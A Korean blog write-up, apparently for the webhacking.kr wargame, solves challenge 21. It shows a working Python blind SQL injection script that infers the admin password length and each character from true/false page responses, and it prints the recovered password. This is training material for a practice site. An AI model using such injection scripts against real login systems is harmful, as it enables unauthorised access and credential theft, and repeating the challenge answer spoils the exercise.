728x90
반응형
250점인 21번 문제를 풀어보자.
Blind SQL Injection을 통해 해결하라는 힌트를 알려주고 있다.
id : guest / pw : guest 로 로그인을 시도해보면 login success가 뜨게 된다.
우리는 admin 계정으로 로그인 하기 위해 Blind SQL Injection을 통해 참 / 거짓일 때의 반응을 살펴보자.
- 참일 경우 wrong password
- 거짓일 경우 login fail
참 / 거짓일 경우의 반환값을 확인했으니 이 조건을 이용하여 파이썬 코드를 통해 패스워드를 알아보자.
- 패스워드 길이 및 패스워드 문자열 구하기
import requests
url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSID': '세션 쿠키 값'}
# 1. 길이 구하기
length = 1
while True:
param = f"?id=guest&pw=%27%20or%20id=%27admin%27%20and%20length(pw)%20=%20{length}%20%23"
r = requests.get(url + param, cookies=cookie)
if r.text.count("wrong password") != 0:
break
else:
length += 1
print("LENGTH : " + str(length))
# 2. 문자열 구하기
password = ""
for i in range(length):
char = 127
while char > 0:
param = f"?id=guest&pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw, {i+1}, 1))%20=%20{char}%20%23"
r = requests.get(url + param, cookies=cookie)
if r.text.count("wrong password") != 0:
break
else:
char -= 1
print(chr(char))
password += chr(char)
print("PASSWORD : " + password)
패스워드 길이 : 36
패스워드 : there_is_no_rest_for_the_white_angel
728x90
반응형
'CTF & WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 23번 문제 (0) | 2020.03.09 |
---|---|
[webhacking.kr] 22번 문제 (0) | 2020.03.09 |
[webhacking.kr] 20번 문제 (0) | 2020.03.07 |
[webhacking.kr] 19번 문제 (0) | 2020.03.07 |
[webhacking.kr] 18번 문제 (0) | 2020.03.07 |